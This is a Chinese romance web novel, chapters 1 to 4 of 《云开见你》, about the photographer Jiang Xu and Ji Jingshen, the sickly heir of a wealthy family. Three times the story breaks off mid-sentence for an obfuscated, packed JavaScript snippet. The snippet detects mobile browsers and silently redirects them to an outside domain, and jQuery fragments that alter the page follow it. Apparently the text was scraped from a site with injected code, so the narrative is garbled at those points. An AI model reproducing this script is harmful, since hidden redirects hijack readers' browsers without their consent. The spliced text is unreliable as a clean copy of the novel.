《云开见你》 1. 第 1 章 初春三月,午后渐暖。 姜许停下脚步,看着身边喋喋不休的小男生。 “我,我就是不想分手。姐姐,我要是做错了什么,你跟我说,我都会改的。” 定的时间早了点,她的长发没怎么打理过,慵懒地垂着。微微上挑的眼角张扬而又极具攻击性,看得人挪不开眼。 小男生看得心下痒得厉害,耳根都红透了:“姐姐,求你了……” 年后,姜许才刚刚过了二十六岁的生日。家里的两位便着急着将她嫁出去,饭局一个跟着一个,一开始她还能拒绝,次数多了,借口也用完了。索性招摇的领着小男生演演戏,把饭吃完再也不见。 这次是季惊扬在北安大学贴吧上给她找的,男生看着乖巧内敛,她就多留了几天。谁料就在几分钟前停在红绿灯等待时,燥热黏腻的手悄无声息地握紧了她。 再明显不过的心思,让姜许提出了结束。点到为止的提醒,对方却不依不饶。 “想要多少?”姜许划开微信:“一万?” “我不要钱。”小男生轻轻地拉住姜许的衣袖,眼里遮掩不住的爱慕:“姐姐,我会很乖的。” 乖的人可不会越线。抽走自己的衣袖,姜许的耐心耗尽:“不走的话,留下来让我找人揍你一顿也行 。” 小男生一愣,不可思议地看着姜许:“姐姐……” “你觉得你抗揍吗?”姜许把人上下打量了一眼,晃了晃手机:“给你一分钟时间考虑。”细胳膊细腿的,也不知道挨不挨得过一拳。 小男生眼眶红着,见她真要喊人,咬牙丢下话:“姐姐需要我了随时联系,我会一直等着。” 又是一个电话打来,姜许接起。那头的震怒声格外的刺耳,来来回回无非就是那些词。 “这就回去了,别催啊,你们两老又不是这点时间都等不起。” 姜许敷衍地应着,伸手开了车门。不经意的抬眸,对上了不远处的黑色古斯特。 是她喜欢的车型,前段时间在看来着,奈何姜祁州嫌她剐蹭频率太高,平白糟蹋好车,始终没点头。 目光刚想收回,后座上的男人便落入了姜许的视线里。男人肤色白得有些过分,下颚弧线硬朗,鼻梁高挺。他的唇色很淡,光影落在了喉结上。仔细望过去时,男人的视线已经收回。只看得见侧脸线条俊美,骨相分外优越。 几秒后,车窗缓缓升起,瞬间被黑色隔绝一切。 催促的电话让姜许没时间多看,弯腰进了车里。 到姜家时,院子里的两颗白玉兰开得正好。淡淡花香扑鼻,随着姜许走进里屋时,逐渐散去,只剩下刺鼻厚重的香水味。 张知雅等了快一个小时,想到前不久电话里乔家太太对她的嘲讽和嫌弃,直接给罪魁祸首甩了脸色:“哟,这不是我们家的大小姐嘛。怎么一个人回来,那个小男友没带回来给伯母掌掌眼?” “这不是看出来伯母您不喜欢,我立马就分了。”姜许懒散地坐下,拖着腮帮子笑道。 “姜许,你别不识好歹。”张知雅拔高声音:“我这边费心费力给你牵桥搭线找公子哥保你以后衣食无忧,你倒好,外头找了一个又一个。” “伯母原来是操心这个啊。放心吧,我有我哥养着,这辈子都饿不死。”姜许捧着温水抿了一口: “还有,伯母的眼光这么多年了怎么还是不行。以前找我大伯时,人有儿子有老婆就想着嫁进来。今天介绍这个乔家三少爷也是,可是在外玩大了好几个女人的肚子。你喜欢给人做后妈,我可没这癖好。” “你!”张知雅脸色铁青,姜广安赶紧按住她,语重心长地看着姜许:“小许啊,大伯也不是想逼你什么。祁州和你感情好我们是知道的,可他也会有结婚的一天,到时候你孤零零的多可怜啊。” 以退为进。 姜许听着他们一个唱白脸一个唱红脸。 “前面那些个大伯就不提了,这不,越然那孩子快回来了。”姜广安看了一眼姜许:“当初你和越然青梅竹马,那感情好得,谁不羡慕。” 她和陈越然感情好? 呵呵。 “就说你刚上初中那会,越然为你翻墙,可是骨折躺了三个月。” 姜许低头划开手机,一边给在名为“好看到触犯天条”的群里打字,一边回姜广安:“那是他自己想跑出去玩,还拿我做借口。” 她周一念叨着的想吃巷口的小吃,陈越然周五翻的墙。被家里罚了,还理直气壮地来一句:“我这是为了帮姜许买小吃的。” 显着他对自己多好似的。 “那不说这事。你十五岁那年,越然不也为了你差点进了局子。不管怎么说,别家的公子哥你拒了也就拒了,这越然,你可别因为一时糊涂给错过了。” 姜许听得厌烦,见他喝了两口茶打算长篇大论,在群里实时汇报情况。 好看姐:【跟我这忆往昔呢。】 好看姐:【不知道的还以为他跟陈越然青梅竹马。】 好看哥:【姜许姐,你先别管往昔不往昔了,我晚上六点的比赛,我急着呢。】 好看姐:【知道了,马上就过去。】 “大伯也不要求你马上结婚,这是不是先跟越然相处相处,感情差不多了先把婚给定下来……” “大伯,我还有事呢。”姜许起身:“陈越然的事,等他回来了再说吧。毕竟这么多年没见了,谁知道他现在变成什么样了。没准喜欢上男人了,您那不争气的耀祖儿子不就有用一回了?” 姜广安:“……” 从姜家出来后,得罪了两老的姜许心情甚好。从后备箱翻出季惊扬落下的手套,踩下油门扬长而去。 YT俱乐部不在市区,位置较远。好在地方偏僻,一路上也不堵车。姜许到的时候,一楼的几个年轻男生正在聊着赛车之类的话题。 看到了姜许,乖乖地喊了声“姜许姐”,又指了指楼上。姜许点了点头走上了二楼季惊扬的专属休息室,门漏着一条缝,她也没多想,直接推开:“季惊扬,手套我给你……” 姜许的话生生顿住。 休息室里的黑皮沙发上坐着一个男人,穿了件深色的高领毛衣。原本闭着休息的眉眼因为她的到来而缓缓睁开,黑眸有几分未褪去的困顿。 骨节分明的手指忽得抬起,在眉心处轻轻地按压了两下。使力的瞬间,手背的青筋若隐若现。略显消瘦,却又带着几分力量感。 许是室内的温度有些闷,男人苍白的脸也因此染上了几分血气。长而密的睫毛轻轻抬起,礼貌、温和而又带着几分疏离地望着她。 “抱歉,我不知道有其他人在。” 姜许虽是这么说着,却没有丝毫要离开的打算。半边身体依旧卡在门口的位置,目光灼灼地打量着屋内的男人。 挺巧,前不久匆匆一瞥,还遗憾没能上前要个联系方式。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871166|176207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这会就碰到了。 她少有的因为一张脸,动了想要恋爱的心思。 嗯,上次恋爱结束也已经两三年了,是该想吃点恋爱的苦了—— “姜许姐你来得这么早啊?” 姜许的思绪被扯回,回头看去,季惊扬挠着脑袋站在身后。 季惊扬眨了眨眼,又往房间里看了看,这才恍然大悟地反应过来:“忘记告诉你我这屋有人了。这我哥,刚回来没多久。” 姜许顿住,心中刚起的那点小火苗,仿佛被一场大阵雨冲刷一样。 浇得连点火星子都不剩。 季惊扬是独生,可季家却不是只有他爸妈一房。能被称作是他哥,又是多年没回国的,只有季家的那位长子季惊深了。 “是个病秧子,不过脸倒是好看。” 这是她一直以来听的传言。现在倒觉得,传言多少还是委婉了。 “哥,这是我朋友,姜许。”季惊扬又赶紧介绍道。 季惊深眉心动了动,目光定格在姜许身上两秒,微微颔首。 手套拿到,季惊扬亲了好几口,一脸兴奋:“等会就比赛了,姜许姐,你就站在那个台上,给我多拍几张。” “知道了。”姜许应了一声,思绪燥热而闷。目光轻转,落在季惊深身上。 男人的鼻骨挺直,眼窝深邃,是亚洲人里少有的骨相。脸型冷硬,面容沉静,一双黑眸毫无情绪,不动声色地收敛着锋芒。 火星子似有燃起的迹象,却又被季惊扬的话给按灭:“哥,你把外套带上,可别吹风感冒了,不然回头我又得被老爷子克扣零花钱。” 季家这一代子嗣并不多,三房共出了四个孩子,除了面前这两位之外,还有季家三叔生的两个女儿。季家向来疼爱孩子,家里的几个都是捧在手心长大的。可论起程度,季惊深可远超季惊扬他们。 毕竟是长子,从小养在那位季老爷子膝下。听闻季惊深因身体不好的缘故,季家这些年砸了数百亿在医疗研究上,名下多家医院,各个别墅住所里,都备着设备和医生。而季惊深出国的这些年,季老爷子隔三差五往山上寺庙去清修,为的就是替他祈福。可见季老爷子对于这位长子的在意和偏爱。 姜许和季惊深只差两岁,初中家里还没出事那会,就听圈子里提起过。什么张家的小少爷打完篮球直接拍了他的肩膀,便被家里人罚了一个月的晚饭。什么宋家的小姐递了情书,第二天就送出了国。 没人想去招惹季家,尤其是那位虽已年迈,却依旧在北安掌握绝对话语权的季老爷子。 从大厅出来姜许便上了看台。季惊深穿上了风衣外套,见她落座后,也礼节性地在她身边坐下。 三月的夜晚暗得很快,看台两侧是挂着的白炽灯,衬得男人眉眼越发的清冷,声音也没多少温度:“我只看半场,惊扬,今晚家宴,记得早点回。” 季惊扬有些垮了脸,强撑起精神:“知道了哥。”他扭头看向姜许:“姜许姐,等会我冲你招手你就可以拍了,记得多拍几张,我相信咱们姜大摄影的技术。” “去吧去吧。”姜许摆了摆手,在季惊扬往赛场飞奔时,也起了身。 她专注地调整手机上的光影亮度和视角,夜晚有些风大,吹着她的发梢轻扬。圆润的下颚因为认真而微微绷着,衬得精致的脸带着几分疏离的冷。 季惊深的黑眸幽深地落在她的身上,在她察觉之前,缓缓地收回视线。 2. 第 2 章 灯光条件还算可以,人也长得好看。 反复看了一遍,确定能直接出图朋友圈后,姜许私发给了季惊扬,坐回位置上。 几秒后,手机振动,季惊扬在群里发了一张照片。 男人面色矜冷,垂眉坐在她的身旁。头顶的白炽光落下,为他们身上渡上一层光晕,身后是漆黑的夜色,只有他们被明亮的拍进了画面中。 她没做表情,天生的脸显得有几分冷。平时跟在季惊扬那厮身边,不刻意笑的时候,总会显得有些冷漠。可是在季惊深身边,却意外的适配。 至于这位从来没有照片流露的季家长子……她放大到屏幕上只有男人的脸,清浅的黑眸,路灯都偏爱地完全落在他的脸上,为冷硬的轮廓添了几分柔和。 季惊深并不属于浓颜系。按理来说,这样的长相上镜会减上几分…… 姜许下意识地侧目,想要去确认,却猝不及防和身侧的季惊深对上。 男人黑眸如墨,夜晚的风吹在他的脸上,又卷起了一层不正常的白。明明看上去染着病态,可他垂眉之间,却莫名地给人几分压迫。 看着季惊深的目光顺着她的手机看过去时,姜许赶紧退出了放大。而季惊扬的下一条消息也在这个时候发了过来。 好看哥:【姜许姐,你回去再欣赏呗,我哥不喜欢和别人拍照。】 “……” 季惊深极少和别人合照,不然这些年也不会半张照片都没有流露出来。 “不是我的意思。”姜许回望季惊深的黑眸,解释了一句。 季惊深将视线往上移了些许,直直对着她的眼睛,语气极淡:“嗯。” 这是生气了? 姜许拿捏不准。 迟疑两秒,姜许当着季惊深的面删除了那张照片的聊天记录,诚恳地道:“季先生放心,我不会用这张照片做文章,记录我也已经删了。” 解释清楚,不造成没有必要的误会。这是姜许的本意,可—— 季惊深的语气却比刚才凉薄了不少:“姜小姐不用那么紧张,我不是什么洪水猛兽。” 姜许:“?” 怎么语气比刚才还差。 底下的季惊扬已经坐上了车,扬长而去。姜许看着车子一点点地消失在视线里,直至确认再也看不到后,起了身。 思索两秒,她还是回过了头,礼貌地招呼一声:“季先生,我就先回去了。”顿了顿,又觉得礼数不合,温声加了句:“这里不好打车,要是需要,我可以顺路捎季先生一程。” 地方是偏僻了些,可是对于季惊深来说,不存在没有车回去的可能性。姜许礼节性地抛出一句客套话,也等着季惊深客套地拒绝—— “那就麻烦姜小姐了。” ……? 回程的路并不算久。 从小道出来驶向大路,前后也不过是三十来分钟的车程。 姜许没敢太重地踩油门,保持着中规中矩的速度。在大路的长达两分半的红绿灯面前停下时,原本专注于开车的身体空闲下来,显得略有几分尴尬。 手指在方向盘上轻轻地敲了敲,姜许找了个话题:“季先生是前不久回的国?” “两个月前回的。” 那还真是不久。 红灯总算是来到了两位数,姜许将车窗降下来了些许,点点微风吹进来时,她偏头看着身侧的季惊深。 男人的目光平静地望着前方,纵然没有太多表情,那股拒人千里之外的疏离感,使得平日里话多的姜许都缄默了不少。 “回来有什么打算吗?”姜许扯着话题,想从沉闷而尴尬的气氛中挣脱出来。 “近几年的重心不出意外会放在逸安。”季惊深的声音听不出太多波澜,没有深入这个话题的打算。 季家生意场比较复杂,各行各业都略有所涉及。最大的要数近几年在新能源行业占据北安大部分命脉的逸安身上。在季惊深还未回国之前,长女季安棠代为掌管。 可前不久一个项目却出了事,逸安因此被推到风口浪尖之上。也是在这个时候,季惊深回国。圈子里传言这位是回来争权的,她倒是觉得,以季家这一辈的关系来看。争权是假,回来收拾烂摊子倒是真的。 “姜小姐呢,平时做什么?” 低沉的嗓音从旁传来,像是忽的惊扰了一汪平静的湖面,却又不令人讨厌。 “平时就给人拍拍照,摄影,后期。” 季惊深听得认真,等她说完后,评价一句:“挺好,姜小姐的工作很有趣。” 姜许有些意外:“有趣吗?很多人说我不务正业。” 毕竟在圈子里,这份工作的确不怎么上得了台面。 季惊深语气平静:“世界上本来就有很多不聪明的人,姜小姐不用在意。” ……? 季惊深是在说那些人都是蠢货? 果然是教养极好,连骂人都这么九曲十八弯的。 姜许心情莫名地愉悦:“嗯,我记住了。” 话题到此为止。 漫长红灯结束后,姜许猛踩了油门。到达季家老宅时,天色已晚。 老宅的管家认得姜许的车子,远远看到后,便老早就上前候着了:“姜小姐,又麻烦你送我们家小少爷回来……” 老管家的话顿住,在看到副驾驶的男人打开门,露出那张和季惊扬只有两三分相似的脸后,他有些惊讶地揉了揉眼睛:“大少爷?” 老管家歉意一笑:“这天黑,人老了眼拙,大少爷莫怪。” 季惊深礼貌地颔首,声音温淡:“天色确实有些黑,钟伯,惊扬怕是要晚些才能到家。老爷子他们都到了?” “老爷子还在做检查,让您也赶紧一块做个检查呢。”老管家连忙道,又看着只着毛衣的季惊深,“哎哟”一声:“夜晚风大,大少爷赶紧随我进屋,可千万别感冒了。” 说完,老管家才恍然记起还在一旁的姜许:“我们家老爷子也念叨着姜小姐呢,姜小姐要是赏脸,不如一起吃个饭?” 做背景板的姜许冷不丁地被提到,淡淡地笑了笑:“不了,季家家宴,我去不合适。” 老管家见状松了一口气:“屋内还有一堆事,那我便不多送姜小姐了。” 姜许客套地点头,拉开车门时,又往季惊深那边看了一眼。 凉风吹得男人的唇色更白了一分,他的身影略显消瘦,病态的脸招摇着令人揪心的好看。他的黑眸里倒影着远处暖色的光晕,五官在暗色之中,显得卓越得过了头。 “今晚,谢谢姜小姐。”察觉到姜许的目光,季惊深偏头看向她,语气温和:“夜深,回去路上,多加小心。” “好,季先生再会。”姜许摆了摆手。 弯腰进入车里的时候,想着那熄灭的火星子,忍不住叹息。 真的是可惜了。 天条:【所以你到底在可惜什么?这多帅的男人啊。】 三人群里,江小满哀嚎了半小时。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871167|176207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 天条:【不是我说,你们有钱人真的挺过分的。有钱得冒昧,还好看得冒昧。】 好看姐:【你也不差,我同意你改名为好看姐2号。】 天条:【算了,我有自知之明。】 天条:【话说回来,以我对你的了解,这个季惊深完全是你的菜啊。你就没半点心思在动?】 好看姐:【动了,熄灭了。】 这些年和季惊扬关系还不错,她和季家其他人也有些来往。季老爷子看似对她和和气气,实则心里嫌她家教不严,性子张扬。还有一个纯看她不爽的季安喻,一个见了面连招呼都不回应她的季安棠。 这一个个的,可都是洪水猛兽。吃不死人,却能折腾死她。更别说季惊深那性子,一看就和唐僧没什么两样,不是她能拿得下的男人。 所以她那点小火苗在理智权衡利弊之后,早就灭得透透的了。 —— 季家二楼最里面的房间,几乎一百平的屋子里,站了七八个身穿白色大褂的医生。 屋子四周是死寂一样的白,素色的窗帘纹丝不动地垂落在窗户两旁,月色半点透不进来。沉闷、逼仄的仪器中间,季惊深赤.裸着上半身坐着,冰冷的仪器在他身上不断重复地滚过。 他面无表情地坐着,看着那些医生一一对照着参考数据,反复记录着变化不大的数值,最后总结归类的,像是为了完成任务一般,说着一成不变的话。 “多休息,清淡饮食,不能太过费神……” 也不知道今天是哪个数值稍微有了起伏,抽血的包装袋被撕开。 季惊深黑眸翻滚着隐忍的情绪,放置在一旁的手紧了又松。阴影暗处,青筋凸起,线条流畅而又锐利。在沾着碘伏的棉签擦拭到自己手肘之前,他避开来:“我自己的身体自己清楚,没什么大碍。” 季老爷子当做没听到:“就让老张再检查检查。你这刚回国,本就应该在家好好修养,公司的事不着急。” 季父季澜之也在一旁道:“惊深,我们只是担心你。万一真有点什么事,你让我和你爷爷怎么活……” “我说了,自己身体没大碍。”依旧是温和的语气,却带着不容置疑的冷意。 季惊深缓缓地起身,微微垂着的眸子幽深而又凉薄。他伸手换了套消毒过的居家服,看着还在原地的季老爷子和季澜之,错开了目光:“下去吃饭吧,难得一聚,别让叔婶他们等太久。” 从二楼下到饭桌上,季惊扬已经回来了,老老实实地坐在角落里,低头玩着手机。家宴他就是来凑个数的,家里长辈,也就他的父母几年不回来一次。同辈里长兄长姐优秀过头,他平庸得毫无存在感,吃完就回去了。 季惊深坐在老爷子身侧,菜刚刚端了上来,老管家便温声道了句:“老爷子,今夜是那位姜小姐把大少爷送回来的呢。” 季老爷子蹙眉,赶忙问道:“怎么回事,没给惊深派车吗?” 季惊深:“派车还得等上一段时间,正好顺路,就蹭了姜小姐的车。” 话落,同辈最小的季安喻便嘟囔了一句:“姜小姐?就是那个一天交往八个男人,还整天和三哥凑在一起的姜许?” 她年纪小,平时家里宠着,口不择言起来:“大哥,她不会是看上你想要勾搭你吧?没爸没妈的,没人管教,见你好看就……” “嗒。” 筷子扣在瓷碗上的声音。 不重,却也足够让季安喻吓得一哆嗦,瞬间住了嘴。 3. 第 3 章 季安喻怯生生地朝着季惊深看去,他的眉眼稍冷,明明是温和的语气,却带着无形的压迫:“安喻,许久不见,你的性子,才是需要管教。” “大哥,我,我不是这个意思……”季安喻干巴巴地解释。 季惊深神色稍缓,语气却依旧冷着:“听风是风听雨是雨,这个年纪了,连最基本的判断都没有,读书这些年,是找人代课的?” “我,我……”季安喻哪里受过这样的委屈,眼眶憋屈着,可又不敢对季惊深发火。 “好了安喻,你大哥说得没错。你这咋咋呼呼的性子,是要学着收敛点。”季老爷子轻咳一声,又道:“姜家那丫头也就是爱玩了些,对你三哥确实不错。平日做个朋友,倒是没什么大碍。” 季老爷子别有深意地看了眼季惊深,后者依旧是那副温冷的模样:“老爷子不用试探,圈子里是怎么传我的,人尽皆知,她未必瞧得上我。” 季老爷子立马瞪了眼:“圈子里都是胡说八道。安喻,以后少听外头传的!” “我,我知道了……”季安喻低下头,闷闷地红了眼眶。 —— 夜色深了,姜许从电脑中错开目光,微信不断震动。 【好看到触犯天条】未读24。 她点开进去,季惊扬话痨地发了一堆。 先是把他们季家家宴那点破事说了,最后加上自己的总结。 好看哥:【说到底就是我哥出国那件事害的,唉,生怕我哥被女人骗。】 天条:【?什么瓜??】 好看哥:【具体的我也不知道,十年前我才八岁呢。反正,我哥出国跟那件事有关。】 好看哥:【其实我觉得我爷爷有点大惊小怪了,我哥这都单这么多年了,老树咋可能马上开花。清心寡欲的,上山当和尚都不需要适应期。】 姜许发了个表情包:【……是你亲哥吗?】 这小嘴跟抹了蜜似的。 好看哥:【那必须是啊,全家也就我哥对我最好了。我那辆柯尼塞格就是我哥送给我的,老帅了!】 姜许倒是记得,季惊扬去年成年收到的最满意的礼物,经过大半年的改装,现在拉风得不行,逢人就提起两句炫耀炫耀。 之后的几天,姜许忙得脚不沾地,陪着姜祁州参加各种宴会,还有不少锐安合作的品牌方活动,高定晚礼服和十厘米的高跟鞋一穿就是一整天,累到虚脱。 又是满满当当的活动结束后,她将高跟鞋一甩,大咧咧地躺在姜祁州的真皮沙发上。 大班台后的姜祁州嫌弃地扫了她一眼,道:“柒鱼那边找你合作,十八号下午一点,记得把时间腾出来。” 柒鱼是逸安名下的一家娱乐公司,资源顶尖,和姜祁州的星好娱乐在娱乐公司里算得上是头部公司。 姜许大学学的是摄影,后来误打误撞因为好几套风格照出圈。加上早年遇到个男艺人,神图出圈升咖后,她和那位男艺人的恋爱瓜被爆出来,甜蜜虐恋互动又吸了一大波粉,让她在这个圈子也算是小有名气。 后来有了自己的团队后,姜许就挂靠在姜祁州的星好娱乐公司,接的工作并不多。可姜许能接触到的资源几乎是顶级,想要合作的艺人依旧排着大长队。 “姜祁州,你是我亲哥吗?我这连休息时间都没有?”姜许瞪他一眼。 姜祁州纠正她:“堂哥。” “堂哥不是哥?” 姜祁州没再说话,合上文件后,走到姜许跟前。几天的折腾下来,白皙的后跟勒出了一道很浅的血痕。 他熟络地从茶几翻出医药箱,难闻的气味扑鼻,药膏在他掌心揉开,覆上了姜许的后跟:“星好有意和柒渔达成合作,事成了,下个月给你加零花钱。” 姜许不吭声了,舒舒服服地享受着姜祁州的伺候,想到了什么,突然道:“姜祁州,你和……” 话到半又收住,姜祁州心下明镜,只是道:“柒渔那边领导层有变动。” 姜许:“嗯?” 姜祁州:“逸安季家长子回国后,从柒渔开始接手,前段时间雷厉风行整出了不少事。” 姜许挑眉,回道:“知道了。” 姜祁州又看她一眼:“我没接触过这位,过几天去柒渔要是撞见,你自己多注意。” 姜许:“前几天见过,我有分寸。” 见过? 姜祁州蹙眉,又很快想明白。收回了自己的手,他不放心地嘱咐一句:“我和她已经结束。她的事……你不用过多关心。” “知道了知道了。”姜许翻身不搭理他,工作群里的消息响个不停。 往上翻去,最顶上一大串的,是几天后的工作要求。 拍摄的对象是这两年凭借各种偶像剧爆红的女艺人秦知瑶,三个月前在原来的小公司合作到期,凭借着刚刚拿下的一个奖项签进了柒渔。 姜许偶尔无聊追剧也追过她的,演技只能说无功无过,大多数是角色加成。 解约那段时间热搜闹得轰轰烈烈的,什么原公司压榨她,一年到头只休息五天,加上秦知瑶的外表……倒是吸引了不少打工人的共鸣,一度涨粉不少。 可—— 姜许皱眉把群里的要求又看了一遍。 【1:拍摄期间参与的工作人员必须素颜,衣着朴素。】 【2:根据顺序夸赞瑶瑶,(参考文本),配合拍摄VLOG。】 【3:今晚十点前将素颜照片发至邮箱,长相六分以上的女性,需扮丑入镜。】 何月:【我早就听说过这个秦知瑶人前人后两套,可也没想过这么奇葩。】 唐渺渺:【艾特姜许。姜许,那边要求女性工作人员的照片,你的还没发,我去你朋友圈找?】 姜许扯了扯嘴角,丝毫不惯着:【不发,只是合作关系,又不是我祖宗,还得供着。】 群里沉默了一瞬。 大家对于姜许的家世心知肚明,平时和他们工作和和气气没什么架子,可他们也清楚。姜许的脾气,从来都算不上好。 背哥:【我听说这位很喜欢耍大牌,过几天的拍摄,能顺利吗?】 “……” 十八号下午六点,背哥的担忧彻底坐实。 电话催了好几遍那头都说在路上,后来实在是嫌弃他们烦了,直接丢下一句:“又不是不给钱,你们等着就好了啊,不知道我们瑶瑶很忙吗?才几个小时就催催催,吃不了这碗饭趁早别干!” 挂断之后,何月下意识地看向了坐在角落里的姜许。 一张未施粉黛的脸,皮肤白净而又透着些许因不耐而染上的几分红润。精致的眉眼轻轻拧着,哪怕是这幅冷脸不让人靠近的模样,也依旧好看得让人移不开眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871168|176207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 风衣外套被她随意地丢在一旁,里面的价格上千的黑衬衫已经是她最朴素的穿搭,此刻因为烦闷,袖口被她挽了几分上去,露出一小节白皙的手臂。 “哒……” 手机的吊坠忽而掉落下来,惹得何月的心都一颤。 目光紧紧地盯着姜许,见她只是弯腰捡起,刚想要松一口气,却又见她径直起了身出去。 “姜许姐!”何月赶紧喊住:“其实……我们等一会真的没关系,你要是饿的话,先去吃饭,我们等着就行。” “你们怎么就没关系了?被放鸽子被骂是理所当然的?”姜许眉头依旧紧皱,瞥见何月紧张的脸,无奈地叹了口气:“放心,就是去和他们谈谈。” 何月:“真,真的?” 上次她被合作的男艺人助理骚扰,姜许二话不说踹了对方命根子。后来这事是解决了,姜许却被那男艺人公开造谣黑上了热搜,虽说姜总出面澄清,可依旧有不少网友不看澄清只看造谣,追着姜许的微博骂了好几个月。 他们几人又气又恼,尤其是何月,内疚了好长一段时间。总想着,要是,她再忍忍就好了。 “真的,放心吧。” 姜许转身上了楼,找了一圈,总算是见到了张彦。 张彦作为柒渔的负责人,自然是清楚姜许的身份。锐安那位捧在手心上的大小姐,能力过硬,圈子里挤破脑袋想要合作。可,脾气也够硬。 “张特助我不为难你,我只要一句话,你打算让她们等到什么时候?”姜许尽量用温和的语气商量着:“她秦知瑶忙,我的团队里也有要照顾孩子的单亲爸爸,一个人独居夜晚只能赶地铁回去的小姑娘。现在已经这个点了,再等下去,他们今晚都回不了家。” “说到底都是出来工作的,我不想为难你们,你们也该尊重我们。” 张彦明白,按照姜许以往的脾气,早百年都带着自己的人走了。这会还肯留在这里,已经是给了他们柒渔极大的面子了。 他立马道:“我这就去找季总商量。” 姜许:“多久?” 张彦:“半小时一定给姜小姐答复。” “好。”姜许点头,在张彦要走时,又问:“好好姐在这边没被欺负吧?” 她说的“欺负”,是另一个意思。 张彦秒懂,赶忙道:“绝对没有。” 姜许不再问了,进了电梯里。 张彦松了一口气,推开面前的门。 黑色的长形会议桌后,男人穿着裁剪得体的西装,眉眼清冷地低垂着,手边放着几份文件。他端着一杯咖啡,安静地听着视频那头的汇报。 察觉到张彦进来,季惊深抬眼扫过。 只一眼,张彦便有些犯怵。 这位回来的安排他是提前知道的。可公司里那会议论纷纷,一个在国外养病十年的病秧子能有什么能力。这不,回来也只是管理逸安名下小小的娱乐公司罢了。可,短短一个月时间里,张彦就见识到了他的雷霆手段。 看似温和,实则不怒则威。尤其是那一身与生俱来的上位者气息,实在没办法让张彦再把他当成一个毫无能力的病秧子看待。 “刚才在外面聊了什么?” 张彦还在发呆,一道声音冷不丁地落过来。 季惊深不知道什么时候已经结束了视频会议,黑眸薄凉。 4. 第 4 章 张彦回过了神,赶忙道:“就是今天来拍摄的姜小姐等了太久,来问问我们后续的安排。” 今天的拍摄? 季惊深顿了顿:“秦知瑶现在在哪?” 张彦:“应,应该快要结束饭局,估摸着八点能到。” “一点的拍摄拖到八点?怎么,今晚是打算在这里熬个通宵?” 季惊深的声音依旧是平缓得没有起伏,可张彦却听出了几分怒意。他磕绊了一下,找补道:“秦知瑶那边是有临时工作,所以才……” “让姜许他们不用等了。”季惊深打断他的话,回忆起刚才断断续续听到的几个字。 强忍怒气。 没把这里砸了,想来是看在季家的面子上。 他看了眼电脑上的时间,道:“小南楼那边,给他们定个位置。如果吃得太晚,跟那边打个招呼,给女生派辆车。” 张彦:“好的季总。”顿了顿,又问:“那后续的拍摄还要再约时间吗?我担心姜小姐那边……” “担心什么?”季惊深端起咖啡抿了一口,过分白皙的手背隐隐看到线条流畅的青筋:“觉得她脾气不好?” 张彦刚想要下意识地点头,冷不丁地对上季惊深漆黑幽深的眸子,他点头的动作生生顿住。 猛地摇头,张彦回道:“没,没有,姜小姐挺好说话的。” 这话倒也不假。 姜许不难相处,只是干他们这一行的,总得捧着外头那些光鲜亮丽的明星。而姜许不一样,她不捧也不惯着,只关心自己的工作和团队里的人,所以总会显得有几分强势。 “合作下次再约,她要是不愿意也不强求。” 毕竟是他们失约在先,平白让她憋了一肚子的火。 一个电话打了进来,季惊深抬眼示意张彦出去后,这才接起。 方厌:“出来放松一下?有大八卦,你的。” —— 计时等待的第十九分钟,姜许如愿地看到了匆匆赶来的张彦。 “姜小姐,今天就不拍了。我们季总给你们定了小南楼的包厢,算是赔罪。” 姜许回头看何月他们:“我就不吃了,你们去吧。” 何月点了点头,三人兴致冲冲地往门口走去。等姜许把车从地下车库开出来后,才想起没拿的风衣外套,和门卫打了招呼,下车折返回去。 恰好听到秦知瑶的经纪人在里面发火。 “什么意思?我们瑶瑶火急火燎赶回来,他们走了?” “不就是等了几个小时吗,他们到底知不知道多少人求着想给我们家瑶瑶拍摄?” “是五个小时零二十五分钟。”姜许淡淡地开口打断,嘴角轻扬,眼底却无半分笑意:“还有,同意我们离开是季总的意思,不满的话,找你们季总发火。” “你……” 姜许微微弯腰,拿过自己的风衣外套,头也不回地离开。 里头恢复了短暂沉默后,秦知瑶忽而开口了:“赵姐,刚才那个是姜许吗?” 赵姐脸色不好:“是她,就是我和你说的那位关系户。” 秦知瑶歪头一副单纯的样子:“哇,就是她呀。听说她性格很特别,赵姐,我,我今天不应该陪导演吃饭的,早知道我就……” “闭嘴,她不就是仗着自己堂哥才这么嚣张的吗?瑶瑶,你听我的,你一定要争气,把这些看不起你的人踩在脚底下!”赵姐冷声道。 秦知瑶乖乖点头,又苦恼地抿唇。 可她没觉得姜许看不起她啊,明明是她先迟到的…… 夜幕渐深,季惊深到达伍楼时,方厌已经在里面等着了。 